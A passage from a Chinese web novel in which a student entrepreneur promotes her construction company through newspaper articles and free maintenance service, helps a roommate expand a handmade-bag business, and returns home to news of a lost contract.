“到时候就说这是咱们筑梦公司的售后服务,每年会定期对咱们施工的项目进行上门维护工作。做这些工作的时候,咱们的人态度一定要好,而且要跟对方主动宣传,说咱们的售后服务前三年都是免费的,过了三年也只是按照市价的八折收费。” “先用这种办法在那些机关单位混个脸熟,至少要让这些机关里的人提起咱们时,能知道咱们是干什么的!” 好歹也管了两年公司,丁大勇也不是曾经那个只知道埋头干活的愣小子,他很快就想明白了苏丽珍这个主意的好处,不由高兴道:“这个办法好!” “我们先去那些之前干过活儿的单位走一圈,联络联络感情,然后借着他们的便利,再争取跟那些没打过交道的单位也套套近乎,说不定哪个部门看咱表现的好,到时候就主动推荐咱了!” 这自然是最好的情况,但苏丽珍也没敢抱这么大希望。她只是打算用这个法子先为自家公司刷个脸,等时机成熟,他们找相关部门主动自荐时,成功率能更高一些。 不过现在,她不打算说这些打击师兄的积极性,反而笑着鼓励对方:“如果真能成的话,师兄你就是咱们筑梦的大功臣。” 丁大勇哈哈直乐,功臣不功臣的无所谓,主要他也眼馋能跟着第四建筑公司一起做事的机会。 临挂电话前,苏丽珍还是叮嘱对方:“师兄,谢姑姑说过这个项目现在还是初步的拟定方案阶段,估计最快也要明年四月份才能动工。” “在已经明确施工方是第四建筑的前提下,咱们有的是时间,也有很多表现的机会,所以一定要稳住心思,千万不要操之过急,以免弄巧成拙。” 跟丁大勇结束通话后,她又分别给家里和食品公司挂了电话,确定两边一切都好,这才离开。 回到家里,她先去看了看吕新芳,两人简单聊了一会儿,她就回到自己的东屋,拉开桌椅,埋头开始写文章。 不能把所有的担子都压在丁大勇那边,她自己这边也得想想辙。 苏丽珍决定写两篇稿子投给省内的报纸,以期进一步提升他们“筑梦”公司的知名度。 第184章 虽说都是“王婆卖瓜”,但也不能真就一味自卖自夸,这两篇稿子大抵就是她在米国见到的那种软广形式,表达比较婉转。 第一篇文章,她主要是盘点了一下自改开后省内的一些现代化建筑,其中就有他们“筑梦”公司负责的福利院翻新和今年的一项某市政部门门点改造工程。t 这两项工程可以算是他们公司最具代表性的作品,虽然工程本身的规模不算大,但因为最终改造出来的效果十分突出,很符合时下人们喜爱的现代化建筑风格,因此广受好评。 以此为基础,她把握着分寸,适当引出了施工方“筑梦”。让读者们了解到,这是一家成立时间短,但进步飞速,且未来具有无限潜力的建筑公司。 当然,在盘点其他工程项目的时候,她也顺带提了各个项目的施工方,诸如第一和第四这样的建筑公司,她也着重赞扬了一番。 第二篇文章是探讨建筑行业的未来发展趋势,以及行业内从业人员需要面临的挑战。 国家要大搞经济建设,未来国内实体经济肯定要遍地开花,许多地方都要建工厂、盖高楼,以及积极发展配套的基建设施。 这无疑会推动建筑行业的飞速发展,整个建筑行业未来可以预见的一片欣欣向荣。但是行业前景好,不代表大家可以放松警惕,她认为针对这种情况,建筑企业本身反而更应该严格要求自己。 因为所有寻求发展的道路都如逆水行舟,不进则退。他们遇到了时代发展带来的空前机遇,但不能就此轻易满足,选择停留在功劳簿上沾沾自喜,甚至故步自封,而是要牢牢把握住机会,力争上游,争做国内一流,乃至世界一流。 就比如包括“筑梦”公司在内的一批建筑企业,他们时刻秉持着的以科学的理念为指导,先进的技术知识为基础,严格要求自己,不断寻求自我突破。 比如“筑梦”公司每年都会派出一些业务骨干外出学习各种先进的技术知识,努力向行业标杆靠齐,不敢有丝毫懈怠。 同时,他们还坚持以人为本,科学创新,共同进步的发展理念。自打成立伊始,公司就会定期对员工进行培训,还会邀请行业内专业的技术专家或老师来司授课。 对于培训成绩优秀的员工予以发放奖金和提拔职位等奖励。 另外,公司还鼓励全体员工主动创新,如果员工能提出行之有效的创新方法,帮助公司节约资源、提高效率,公司也会予以丰厚的奖励。 最后,文章再次呼吁全体从业者一定要时刻保持进取精神,决不能在祖国的各行各业蓬勃发展时原地踏步,要争做时代弄潮儿,为祖国的建设事业发展创造辉煌。 两篇文章,苏丽珍一口气写到了半夜。 第二天起床又修改了小半天,最后工工整整誊抄在信纸上,然后下午回学校前就把信寄了出去。 投稿的单位一家是苏丽珍比较熟悉的《凤城日报》,还有一家是《辽省晚报》,都是省内比较权威的报社了。 这两篇稿子经过邮寄,再到被编辑拿到手中审阅,如果顺利的话,稿子能被录用,到刊登,估计最快也要两、三周的时间。 而两、三周的时间,应该也足够师兄那边见成效了。 如果他们两边配合得好,说不定能起一点推动作用。 稿子寄出后,苏丽珍就开始耐心地等候回信。 期间,每到周末的时候,她都会和丁大勇准时通电话,听他汇报凤城这边的最新进展。 而电话里的丁大勇一次比一次精神振奋,他告诉苏丽珍,公司这次推出的售后服务计划反响特别好,许多单位一听说他们主动上门帮忙维护建筑物及内外设施,都非常热情,更是没口子地夸奖他们公司周到又负责任。 有两家单位还因为这事帮忙牵线,把他们推荐给几家明年有施工需求的兄弟单位,让他们成功接到了几个活儿。虽说都是小工程,但积少成多,收益也很不错,可以说是意外之喜。 而最重要的是,他们“筑梦”公司通过这段时间的努力,确实赢得了不少口碑,更因此一点点地被更多人记住了他们的名字。 十二月的最后一天,正好又赶上周六,苏丽珍又一次给丁大勇打电话。 这次电话一接通,话筒里立时传来丁大勇兴奋的声音:“珍珍,好消息,工程的事有门儿了!” 一听这话,苏丽珍也是精神一震,赶忙让丁大勇细说。 原来经过丁大勇和薛有粮这一段时间的运作,他们“筑梦”公司在省、市机关单位里都有了一点知名度。 再加上他们干活认真,虽说是免费的,但是也从来不敷衍,很多人对他们印象很好,不光是给他们介绍工程,像一些室内简单的维修桌椅、修补天花板之类的琐碎小事也喜欢找他们。 找他们的人多了,一来二去,就有人把他们推荐到了市政对面的省办大楼里,好多丁大勇他们之前从来没接触过的部门也会找他们干些零散活儿。 也因为接触的机会多了,人家开始了解了他们,知道了凤城市有这么一家私人的建筑公司。 恰好这个时候,苏丽珍投给《凤城日报》和《辽省晚报》的两篇稿子被录用,然后陆续刊登。尤其是那篇《浅析建筑行业的发展前景和建筑人未来面临的挑战》,文中提出的有关“筑梦”公司的经营理念迎合了时代发展,既新颖、又深刻,引发了很多业内人士讨论。 这种情况下,“筑梦”公司本身自然获得了许多关注。 了解了这家公司,自然也就知道了他们现在实行的这个三年免费工程维修维护政策,因此越发对这家公司印象良好。 就在本周五的时候,当丁大勇给省办大楼某个机关办公室修门窗的时候,刚好碰上隔壁工程建设规划处的二把手来串门,听说他们是报纸上刊登的“筑梦”公司的人,便非常感兴趣地问了他们不少问题。 过后,对方还问他们公司有没有什么书面的企业资料,或者相关的报告之类的,给他拿一份。 丁大勇当时整颗心都要漏跳一拍! 近一个月的时间,知道省里要建长途客运站的人越来越多,尤其丁大勇他们隔三差五出入两座办公大楼,自然也知道省里已经开了好几次会议讨论客运站工程的前期筹备工作,这位二把手所在的部门更是会议的主要人员。 而对方这个时候向他们要公司资料,实在不能怪丁大勇紧张。 尤其是当他把随身携带的一本介绍公司的资料册递给对方,看到对方翻阅后的满意眼神后,他更是激动得不行。 那本资料册最终被那位二把手留下了。 后来,找丁大勇干活的人也暗示他,让他回去好好准备,说不定明年一开年,他们公司就能接个大工程! 丁大勇当时没表现什么,可是一出了省办大楼,立马就按捺不住满腔的兴奋,昨晚几乎没睡几个小时觉,好容易等到今天把情况汇报给苏丽珍。 “珍珍,这次多亏了你的那两篇文章,这才能让人家认识咱们,连老师都说你这波舆论造势十分高明!就是前天,小张还接到了《凤城日报》的电话,说想给咱们公司做一篇专访呢!” 苏丽珍笑道:“这是好事啊,介绍咱们的文章越多,大伙儿认识咱们的机会也越多。” 接着又夸丁大勇:“不过这次的功劳最主要还是你和薛爷爷,我不过是动动嘴皮子,而动手做事的全是你们。咱们公司现在能收到这么多好评,关键是你和薛爷爷做的到位,如果没有你们打下的好基础,那我就算写出一朵花来也无济于事。” 得到了好消息后,苏丽珍才又告诉丁大勇,自己接下来这段时间要专心在学校复习备考,如果没什么要紧事就先不出来了。 他们学校期末考试一月五号开始,到一月十一号结束。 算一算,其实也不过十天左右的时间,食品公司那边有苏振东盯着;张家村的养殖基地,她爸苏卫华每隔一段时间就去看看;“筑梦”这边眼下只一件大事,目前也有了眉目,苏丽珍总体比较放心。 而这次期末考试是她上大学以来参加的第一次考试,她自己还是比较重视的,所以确定这边没什么重要的事,她就会全心投入到复习中。 丁大勇那边一听苏丽珍这么说,简直比她还着急。在他眼里,学生考试等于天大的事,让她务必专心复习,争取考个好成绩。末了,还美滋滋地跟苏丽珍畅想,说是兴许等她考完试,公司这边可能也收到好消息,到时候直接来个双喜临门! 挂了跟丁大勇的电话后,t她又给家里打了个电话,这通电话说的时间有点长,电话费是平时连她看到也会心疼半天的程度。 不过今天,她没有一点舍不得。 站在邮电大楼门口,看着热闹喧嚣的街道、人/流,她一时有些怔忪。 明天就是元旦了,两边的百货商店和副食店玻璃窗上都贴上了写着“节日特供”的大红纸,看上去喜气洋洋的。 过往行人来去匆匆,每个人手上总要或多或少地拎着点东西,想来是预备和亲近的家人、朋友一起迎接阳历新年的到来。 苏丽珍深吸了一口气,跺了跺有些站麻了的双脚,也往自由市场走去。 她刚刚在电话里答应了家人,就算是自己一个人也一定会照顾好自己。 拎着从自由市场里买到的大包小包,刚一走进胡同,就立刻被热情的街坊邻居们包围。 “哎呦,珍珍回来了!我家里今天炒了不少花生,一会儿我给你端一盘。” “珍珍啊,今晚我家炖鱼,炖好了我给你送一条。” 等她带着邻居们热乎乎的关爱问候进了自家时,推开屋门,是一股混杂着食物香气、且更加温暖的热气直扑面门。 吕新芳系着围裙,手里还拿着炒勺,从后面厨房一路小跑过来:“回来啦,赶快进屋暖和暖和!” “今天有个老乡挑着担子到这边卖自家宰杀的年猪,王大爷和李奶奶他们看了都说好,我也跟着买了点排骨,让我用你爱吃的豆角干给炖上了。一会儿你洗洗手,咱们就吃饭……” 苏丽珍脸上的笑容越来越大,响亮的“哎”了一声。 她并不是一个人。 她在这所崭新的城市,认识了新的朋友,收获了新的友谊。 也更明白,今生所遇皆是恩赐。 第二天元旦,苏丽珍和吕新芳早早起床。 简单吃过早饭后,两人先把屋子里外认真打扫了一遍。 接着就是和面、剁馅,包了一顿大肉饺子。 苏丽珍还亲自动手,卤了一锅香喷喷的卤味。 她们俩掐着时间,把饺子和卤味都装进保温饭盒里,这会儿时间已经接近十一点了。 估计到学校寝室时应该正好十一点半,正是吃午饭的时候。 今天元旦,本来苏丽珍打算邀请室友们来家里过新年。 但是室友们不愿意给她添麻烦,加上临近期末考试,大家多少有点紧张,恨不得把所有时间都用在复习上,连管明月都没回家。 吕新芳本来也打算暂时停工的,但是她想着自己占了人家房间那么长时间,如今停了活儿,怎么也得给人好好打扫一下,所以就以要整理材料为由,跟苏丽珍一起回来了。 苏丽珍看破不说破,索性跟她商量,要做点好吃的带回寝室,跟可爱的室友们一起过元旦。 吕新芳自然没有不赞成的,所以才有两人今早起床这一通忙活。 等将院门锁好出来时,苏丽珍看见吕新芳忍不住回头张望了一眼,心知她是舍不得自己的做包事业。 这种情况,她最清楚了。 想当初,他们一家三口在客运站摆摊的时候,因为挣到了钱,那时候一家人的精神头都特别足,好像浑身有使不完的劲。 不说她和李翠英,就苏卫华当时那样糟糕的身体状况,每次出摊总恨不得把一身力气都扑在上头,什么都要抢着干,简直比吃药都好使。 所以她现在也很能体会吕新芳的心情。 想了想,干脆给对方出主意帮忙转移注意力。 “芳姐,你有没有考虑过找人帮忙?” 第185章 吕新芳听得一愣,不过她脑子快,马上反应过来:“你是说,让我找人一起做包?” 苏丽珍点头:“这算一种方法,或者你也可以只负责制做的环节,然后雇人帮你售卖。” 这样做,可以最大限度的保住拼布包的设计和制作秘诀不被人窃取。 当然,还是那句老话,以国人的仿制能力,在已经有成品流通的前提下,根本不存在什么设计秘诀。尤其是本质上没有什么技术壁垒的服饰行业,真就是说仿就仿给你看。 吕新芳显然也清楚这件事。 之前没经手这些的时候,苏丽珍就提醒过她仿制的问题,她当时对这件事可能造成的局面只是隐约有个概念,直到自己上手做包、卖包,尤其上周末她看到一个女孩子挎着一个跟她做的拼布包相似的同类型包包时,那一刻心里油然而生的焦虑、郁闷,但更多的是无奈的情绪,让她第一次清晰地认识到“版权”这个词汇所代表的意义。 她一度甚至有过放弃这款拼布包,再重新设计、制作新样式包包的想法,但是室友们并不赞成她这么做。 苏丽珍更是直白地告诉她,在社会上版权意识约等于无的大环境下,凭她自己,再多的新样式都是在给别人做免费设计。 与其费尽心思设计出来的作品被人毫无顾忌地窃取、仿制,还不如趁着市场尚未饱和的时候,利用这一款,尽量多地占据市场。 吕新芳也觉得苏丽珍的话有道理,只是光靠她自己,又怎么能占据更多市场呢? 而且她也知道自己底子太薄,几乎没有任何抗风险的能力,所以轻易不敢把步子迈得太大。 但是什么也不做,只眼巴巴看着别人照搬她的设计大卖特卖,她也没法无动于衷。 苏丽珍看她有些心动,于是接着道:“自然,刚开始的时候,我也不建议你投入太多。我们可以托李奶奶他们帮忙,看看兴华胡同这一片有没有家里有缝纫机、日常又比较清闲的人家,挑些好相处的,也不用太多人,三、四个就可以。” “到时候你负责包工包料,先教她们把布料剪裁好,然后再叫她们带回家做,你只需要按件支付她们工钱,这样就可以省下场地和机器的费用。” “做好的包包,都由你统一售卖,正好你这段时间摆摊积累的经验也足够了。纺织厂梁主任那里,你多走动些,争取把这个供货渠道抓牢。这样无论是原材料,还是销售都掌握在你自己手里,就算你雇的人起了外心,她们也暂时越不过你。” 吕新芳见苏丽珍方方面面都替她考虑到了,心里不禁十分感动。 好姐妹恨不得把饭碗都端到她嘴边,没道理她还顾虑这个、顾虑那个的。 “珍珍,我都记住了,我会利用这几天好好琢磨琢磨。你也不要总惦记着我的事,没几天考试了,你安心复习。有些路终归要我自己走,你帮我的够多了。” 苏丽珍对她弯了弯唇角。 到达寝室的时间刚好十一点半。 室友们看见拎着香喷喷饺子和卤味的两人,简直像看到从天而降的巨大惊喜一样,乐得不行。 六个人在寝室里吃了一顿热乎乎的新年饺子,过了一个简单又不失美好的元旦,之后就开始静下心复习,为接下来的期末考试做最后冲刺。 每个人都过起了自习室—图书馆—宿舍这样三点一线的生活。 好多人为了节省时间,连吃饭都是以宿舍为单位轮班打饭,一人一次带六个人的饭。 甚至苏丽珍隔壁寝室的一个女孩,认为喝水多了上厕所太浪费时间,每天喝水都定量,实在叫人自叹弗如。 这种你追我赶的紧张氛围下,苏丽珍自然也格外用心,期间除了一次去车站送谢姑姑,其余时间一直留在学校里专心看书,迎接考试。 而时间总是在人们觉得不够用的时候过得飞快,像抻面条一样边考、边复习的魔鬼考试周好像眨眼间就过去了。 一晃儿就到了十一号,下午三点,随着最后一科考试收卷铃声响起,苏丽珍总算松了口气。 漫长的期末考试终于结束了! 虽说大学的第一次考试难免让人生出点紧张情绪,但是这种考试到底不比千军万马过独木桥的高考,一般只要不挂科,也就是能及格就可以了。 只不过作为首都大学的学生,仅仅把要求定到不挂科这种程度显然不够,大家还是卯着劲想拿高分。 苏丽珍自觉及格肯定是没问题,个别几个学得好的科目也有信心上九十分,但对最终的名次却没多少把握,甚至都t不敢保证自己能进专业前十名。 没办法,身边全是学霸,而且还是特别用功的学霸。就好像你自觉已经爬到了山顶,结果一回头,人家到达的峰顶比你的还要巍峨高耸好几倍。 这种情况下,她也只能尽量稳住心态,确保自己全力以赴不留遗憾就是了,实在没信心一定会超过谁。 总之,顺顺当当考完试就是可喜可贺。 寝室里其他人显然也是这么想的,之前因为备考,一向爱美的万美君和刘思彤都恨不得整天把自己埋进书本里,忙得脸都顾不上洗,就像两棵被霜打了的蔫吧菜苗。 现在考试一结束,两人立马支棱起来了。 她们俩是外语专业的,今天上午就考完了最后一科,下午寝室其他四人去考试,她们俩就在寝室里忙活开了。 等苏丽珍四人结伴一起回来的时候,一推开寝室门,好家伙,寝室中央的小桌上堆了一堆好吃的! 花生、瓜子、苹果、橘子、汽水、爆米花,还有巧克力和槽子糕,这是要开联欢会的节奏啊。 别说,今年元旦管明月原来也想组织大家开一次联欢会的,但是那会儿所有人都一门心思扑在接下来的期末考试上,普遍反应不太积极。 管明月也担心大家没心思,勉强凑合反倒浪费时间精力,只得遗憾作罢。想着等明年,大家有了考试经验后,也许就不会像今年这么束手束脚了。 这会儿看刘思彤和万美君准备了这么多东西,加上考完试难得放松,大家自然不能辜负了两人这番美意,都高兴地坐在了桌边,吃吃喝喝,说说笑笑,一直闹到外头天擦黑才结束。 晚上,所有人都开始整理行李。 管明月和苏丽珍东西不多,只简单收拾一下就成; 吕新芳从明天起就要搬到苏丽珍家,怕给苏丽珍添麻烦,能带的都带去了; 其他三人则是打点行囊,准备坐明早的火车回家。 陈红梅是海市人,刘思彤家在连城,万美君的老家则是杭城,三人刚好能坐一趟车。 因为刚刚那一场小庆祝极大缓解了考试带来的焦虑和疲乏,现在彻底闲下来了,众人也开始归心似箭。 姐妹六人闲话起各自的寒假计划。 陈红梅家里有个制药厂,原本是不需要她做什么的,但是大约是受了吕新芳的影响,她打算这次回家后也进厂做点事。哪怕什么都不会,只是从最基础的小工做起也行,主要是想锻炼锻炼自己。 刘思彤家里亲戚特别多,她又是家里最小的,大家都惦记她,这次回家光走亲戚就得花费一段时光了。剩下的时间,她打算发动亲戚朋友,帮忙找一份家教工作,这样一边给别人上课,一边自己看书复习,也就不那么枯燥了。 万美君对化妆、服饰搭配之类的特别感兴趣,之前为了应付高考,家里人不让她碰这些,认为是“玩物丧志”。现在她终于考上了大学,家里对她放松了许多,她决定把这些小爱好重新捡起来。 管明月也说自己想找点事儿做。只是她坐不住,实在不适合干教书育人的活儿,倒是因为经常帮左邻右舍修自行车练出了一门好手艺,眼下正考虑弄个修自行车的摊子摆摆。 可大家听了都觉得眼下这个时节在外头给人修车实在太遭罪了,还不如去棉纺厂进点口罩、袜子出来卖。 管明月却十分苦恼道:“你们别说了,其实我之前真想到这茬了。只是我们那一片已经有好几个人在干这个了。我爸妈说,我要是也干这个,回头出来进去的,人家看见保不齐生出点想法。都是邻里邻居的,为了这仨瓜俩枣的,闹了误会就不好看了。” 这也有点道理。虽说好多人都嫌干个体不体面,但大家也都知道眼下工作不好找,待业青年特别多,所以谁家难得找到一个能挣钱的营生都忍不住掖着、藏着,那真是防贼一样怕人跟着学。 这时一直沉默的吕新芳忽然开口道:“明月,你看你愿不愿意来帮我的忙?” 苏丽珍心里一动,其他人也下意识看向吕新芳。 大家反应很快,管明月立时问道:“芳姐,你这是准备要扩大规模了?” 吕新芳抿嘴直笑:“还达不到那种程度。之前珍珍建议我,可以尝试雇佣几个人帮我做包,我负责包工包料,她们负责出机器、出人力,把材料带回家做成成品,我按件数支付她们报酬。” “我已经想好了,打算利用假期时间来试一试。只是以我的能力,初期肯定不能把步子迈太大,估计做工的人不会超过五个,我自己这边也不会停工,所以我觉得最好还是再找一个销售人员。” 说到这里,她深吸一口气,郑重地看向管明月:“所以,明月,我想邀请你来做这个销售人员,我会同样按照计件提成的方式支付你报酬。虽然我这儿没有基本工资,但你的时间比较自由。如果最终销售业绩好,我还会再支付你一笔奖金。” “另外,明月,咱们必须事先说好,如果你同意,我希望你是基于对我要做的事有一定信心,或者确实想锻炼一下这些为前提,而不是仅仅因为我们的关系,你明白吗?” 听她这样郑重其事,管明月也严肃了起来,她认真想了一下,最终点头道:“芳姐,我想好了,我决定接受你的邀请。我接收这份工作,一方面是觉得你的东西非常有潜力。哪怕市面上有了仿制品,但我认为短时间内他们还影响不到你,而且以你现在的成本来看,即使出现竞争者需要让利,你的利润空间还是很大,所以这个市场还是有奔头的。” “另一反面,你是我信任的室友,我相信你的人品,你不会让我吃亏,也不会让自己吃亏,这就足够了。” 管明月说完,屋里安静了一瞬,苏丽珍忽然伸手用力地“啪啪”鼓起掌来。 陈红梅三个反应过来,也跟着拍起了手。 万美君第一个嚷嚷起来:“我的天,你们两个刚刚气势好足啊,就像势均力敌的谈判双方那样,也太帅了吧!” 陈红梅也感叹:“芳姐也罢了,今天明月可是给我上了一课,这就是他们说的粗中有细,胸有丘壑吧!” 管明月被大家打趣得不好意思,难得闹了个大红脸。 分别前的团聚时光总是十分珍贵,姐妹六人一直聊天说话,直到后半夜才各自睡下。 翌日清早,苏丽珍、吕新芳和管明月一起把陈红梅、刘思彤、万美君送上了南下的火车。 看着结了一层厚厚冰霜的车窗后影影绰绰透出的三人努力挥舞手臂的身影,苏丽珍三人的鼻子都酸酸的。 连一向粗枝大叶的管明月也忍不住喃喃道:“之前一直盼着放假,没想到真的放假,要跟你们分别了,我反而更难受。” 苏丽珍拍了拍她的肩膀,无声地安慰对方。 从车站出来的时候,吕新芳情绪越发低落,她看着苏丽珍歉意道:“珍珍,原本你也应该今天回家的,都是因为我,还要害你耽搁几天。” 苏丽珍笑道:“芳姐,你别乱想。就算没有你的事,我干爷爷这边很多亲朋故旧我也都要走一趟,不可能说走就走的。” 她也不是单纯安慰吕新芳,虽说她确实坚持要帮吕新芳把雇人的事办妥,但是吕新芳雇的人少,她找曾在街道当了三十多年老干部的李奶奶帮忙,这事估计用不上两天就能解决。所以,这并不是什么麻烦事。 她决定晚些回去,另一方面还是想在走之前拜访一下首都相熟的人家,毕竟她这一走,再回来就是年后了。 自打她来上学,兴华胡同的街坊邻居一直对她照顾有加,所以哪怕不提苏爷爷和这些老邻居们的感情,单从她自己这里,她也想向大家表示感谢。 所以她准备再利用这两天时间提前购置一些礼品,跟相熟的人家走一走,算是提前拜个早年。 尤其是沈爷爷那里,元旦之前,她匆匆去看望了一次,因为时间紧,也没留下吃饭,老爷子当时很失落,所以她计划抽出半天时间去看望一下老人。 这些事情忙完,吕新芳这边估计也能顺利上手,她也就放t心了。 看着吕新芳明显不信的样子,她只好继续解释道:“而且我还没跟你说,我那个芳芳今天才考完最后一科,我们是约好要一起走的。” 谢芳芳今天考完试,明天放假,但她大爷爷十五号过生日,所以她要等给老爷子过完寿辰再走。她们俩前后差不了多少时间,刚好能一起回去。 吕新芳也是认识谢芳芳的。 因为每逢周末,吕新芳都要来苏丽珍家里借用缝纫机,苏丽珍怕她自己一个人不自在,大多时间都陪她一起在家,自然就推了好几次谢芳芳的邀约。 谢芳芳小脾气上来,有两次自己跑过来,看见吕新芳就酸溜溜地说苏丽珍是“有了新芳忘旧芳”,可把吕新芳逗得不行。 吕新芳想起古灵精怪的谢芳芳,不由就想起她那句“新芳、旧芳”的宣言,忍不住也笑了起来。 至此,总算释怀了一些。 从车站出来,苏丽珍要给家里打电话。因为邮电大楼要排队,加上吕新芳还带着行李,她就让对方和管明月先回她家。 到了邮电大楼,她先往饭店打了个电话。 也许是猜到她今天正式放假,电话刚转接过去就有人接了。 “闺女!” 是她爸苏卫华! 苏丽珍告诉她爸,她这边还有点事要处理,可能要晚几天回去。 电话那头的苏卫华忙乐呵呵道:“没事,闺女,你忙你的!我们都挺好的,也不差这两天。” 临挂电话之际,她还听见苏卫华兴奋的大嗓门:“咱家珍珍要回来了!” 苏丽珍不由弯起了唇角。 之后,她又往建筑公司拨了个电话。 十天没联系了,也不知道师兄这边正式消息下来了没有。 她可没忘上次通话时,师兄那一副信心十足,隔着电话都恨不得把胸脯拍得震天响的样子。 希望这次能收到确切的好消息吧! 电话照例打到丁大勇办公室,只是这响了半天却没人接,苏丽珍正觉奇怪,刚要挂掉,电话忽然接通了。 “大勇哥?” “珍珍?” 电话那头丁大勇的声音略显沙哑,苏丽珍不禁眉头一跳,有一种不太妙的直觉,可还没等她出声,就听另一端的人低落道:“珍珍,对不起,是我没用。” “……长途客运站的工程,咱们接不到了。” 第186章 五天后 下午两点,伴着呜呜作响的汽笛声,火车准时到达凤城站。 苏丽珍深吸了一口久违的来自家乡的空气,一股冷气猛然灌进胸腔,再伴着刮鼻子刮脸的西北风,整个人立时沁了个透心凉。 嗯,这熟悉的、能把人冻哭的大冷天,是她心心念念的家乡没错! 自打那天接到丁大勇失利的消息后,她发觉事情有变,加上电话里师兄的状态特别沮丧,当时真是想即刻就买票赶回来。 但是首都这边好多事情还没做,她不能说走就走。 与其纠结,还不如抓紧时间把这边的事情办妥。 于是,她当天回到家就立马去找了邻居李奶奶,拜托老太太帮忙介绍附近几个可靠的人来给吕新芳做活儿。 李奶奶当即就满口答应下来,然后不出苏丽珍所料,当天晚上就回话说人找齐了。 李奶奶一共帮忙找了五个人,这边跟吕新芳打好招呼后,第二天早上就把人带到了家里。 苏丽珍陪着吕新芳一起简单给几个人面试了一番,发现确实都是些本分、没啥心眼的人,当场就拍板把人全部留下。然后吕新芳又手把手教了几人如何剪裁、怎样走线等步骤问题。 能来应聘的人本来也都是有些基础的,所以吕新芳只教了一遍,她们就能上手了。当天就各自领了材料回去制作,起初的时候有点磕磕绊绊的,等做了一、两个后就渐渐上手,然后速度越来越快。 截止苏丽珍离开时,有那手快的女同志一天已经能做出十二、三个包包了,效率惊人。 吕新芳每个包支付四毛钱的工费,虽然比不上做衣服和裤子拿的钱多,但是这包做起来还算简单,真要细算,可比做别的划算,所以大伙儿都挺愿意干。 因为都想尽量把这差事干长,所以压根不用李奶奶这个中间人敲打,大家就自觉尽心尽力,连着两、三天做出来的几十个成品都没出现任何不合格的情况,叫吕新芳特别满意。 吕新芳这边安排好后,苏丽珍自己也没闲着,先抽出一个上午的时间去看望沈老爷子,陪老人家说了许久的话,把老人家哄得眉开眼笑,中午吃了两大碗饭才放心离开。 之后又购置了许多节礼把相熟的老邻居家都走了一遍。 期间,她还往家里补充了一部分过冬的物资,以免等她走后吕新芳忙起来没时间准备,算是提前给对方做好后勤保障工作。 马不停蹄地用不到三天的时间处理完这些事情,等十五号上午谢芳芳参加完她大爷爷的寿辰宴后,两人就坐上了当天下午四点半开往凤城的火车。 在车上熬了一天一宿,今天终于到家了。 凤城是大站,下车的人特别多。数九寒天,两人硬是挤出了一身热汗,不过还不等她们感慨一句挤火车的艰难,耳边就传来熟悉的喊声。 “珍珍!” “芳芳!” 两个女孩循声望去,果然见苏卫华夫妻、苏振东和谢妈妈几人正小跑着往这边来。 女孩们这会儿什么都顾不上了,都向着各自的家人狠狠扑了过去! “妈妈!” “爸、妈,振东叔!” 离家不足五月,平时的时候不显,等真的再见面,才知道这份对家人的思念有多深切。 原来即使每周一次的通话也并不能抚平这份思念带来的迫切和煎熬。 谢芳芳直接红了眼眶,连一向自持的苏丽珍也鼻子酸酸的。 “好、好,终于回来了!妈的宝贝闺女可回家了!” 李翠英那哄小孩的语气差点把苏丽珍逗笑了。 她吸了吸鼻子,从妈妈怀里直起身,又打量了一遍她爸和振东叔,见两人气色都不错,这才算放心。 苏卫华的心脏病冬天容易复发;苏振东每天忙着食品公司的事,有时候还要捎带上养殖基地那边,经常忙得不可开交。 她是真怕他们两个报喜不报忧。 “爸、妈,振东叔,我苏爷爷和孟姑爷爷怎么样?还有小麦姐、芽芽,大家都好吗?” 苏振东笑眯眯道:“好、都好!就是之前都吵嚷着要来接你,但是天气太冷,都叫你爸妈给拦住了,这会儿在家指不定怎么转圈着急呢!” 苏丽珍闻言不禁笑了起来。 大人们主动接过行李,簇拥着两个孩子一起往外走。 在穿过月台通往出站口的地下通道时,苏丽珍一眼就看见两侧墙壁上一溜醒目的“珍珍卤味”宣传海报,立马惊喜地走上前。 虽然这些海报印制好后,苏振东就第一时间给她邮寄了实物样品,但是那种感觉跟这完全不一样! 就好比一个是初出茅庐、心思稚嫩的毛头小子,一个是久经沙场锤炼出一身胆气的喋血汉子,后者才更令人感到震撼。 几个大人也随着她的脚步一起在海报墙前驻足欣赏。 谢妈妈含笑道:“珍珍和振东同志真是能干,现在你们的‘珍珍’可算是咱们凤城的名牌了,好多外地人过来都会特地买一些当做是咱们凤城的特产。” 听到这话,苏丽珍还罢了,苏振东却是不好意思居功。 “主要还是珍珍的想法好,她才是公司进步发展的关键。” 不等苏丽珍说话,旁边的苏卫华忙道:“想法再好落实不到实处也是白搭,不过是纸上谈兵而已。振东,要是没你在旁边全力支持,她可没法这么轻松,你是有大功劳的。” 苏丽珍也笑眯眯地朝苏振东竖起大拇指:“我爸说的对,振东叔就是我们公司的定海神针,有您在,我万事不愁。” 众人都笑了起来。 谢妈妈看着态度沉稳、始终不骄不躁的苏丽珍,真是满心满眼的欣赏。 她家老谢可是说了,就凭这孩子的脑瓜和手腕,只要不贪功冒进,稳稳当当的,未来必然前途无量。 等再看一眼自家还像个小孩子一样什么都摆在脸上的女儿,心里不由叹气。 她的芳芳要是能有人家一半精明稳妥,她都要谢天谢地了。 一有点空闲就巴巴地往人家身边凑,天天一块儿待着,这孩子怎么就学不来人家身上一星t半点儿的长处呢?真叫人发愁。 谢芳芳这会儿可不知道自家老妈正在心里暗戳戳嫌弃她呢,她跟苏丽珍一起兴致勃勃地看了一会儿海报后就有些站不住了。 家里什么都好,就是冬天实在太冷了。 她站在这两面透风的地下通道没一会儿就觉得脚指头发麻,顿时没了耐心,忍不住开始催促苏丽珍:“咱们赶紧回去吧!你要是想吃、想看你们家的卤味,咱们就应该立马回家,等到了你家还不是你想怎么看就怎么看?” “光站这儿看这些海报也看不出朵花来,我合计你们自家的东西,你也不至于要‘望梅止渴’吧!” 谢妈妈听得直扶额。 苏丽珍忍着笑安抚对方:“好好好,我不站在这儿‘望梅止渴’了,咱们这就赶紧回去!” 一行人走出车站,苏振东是开着公司的小汽车来的,谢家也有人开车来接。 天气实在冷,两家简单说了几句话,约好有空相互拜访后就各自分开了。 一上了车,苏丽珍先简单问过家里人的情况后没多耽搁,很快就问起苏卫华夫妻关于建筑公司的事。 那天电话里丁大勇自责于没能完成对苏丽珍的保证,直说这事没办成,责任全在他,具体什么情况其实并没说清楚。 苏丽珍感觉他当时状态不好,又怕他过分苛责自己,便什么都没问,反过来劝解了他许久。 她很担心师兄,更不想他因为这事受打击,所以趁着眼下人不在,刚好提前了解下情况。 丁大勇不到十五岁就进厂接班,这些年苏卫华相当于他的半个父亲,他从以前遇事就习惯来找苏卫华夫妻商量。 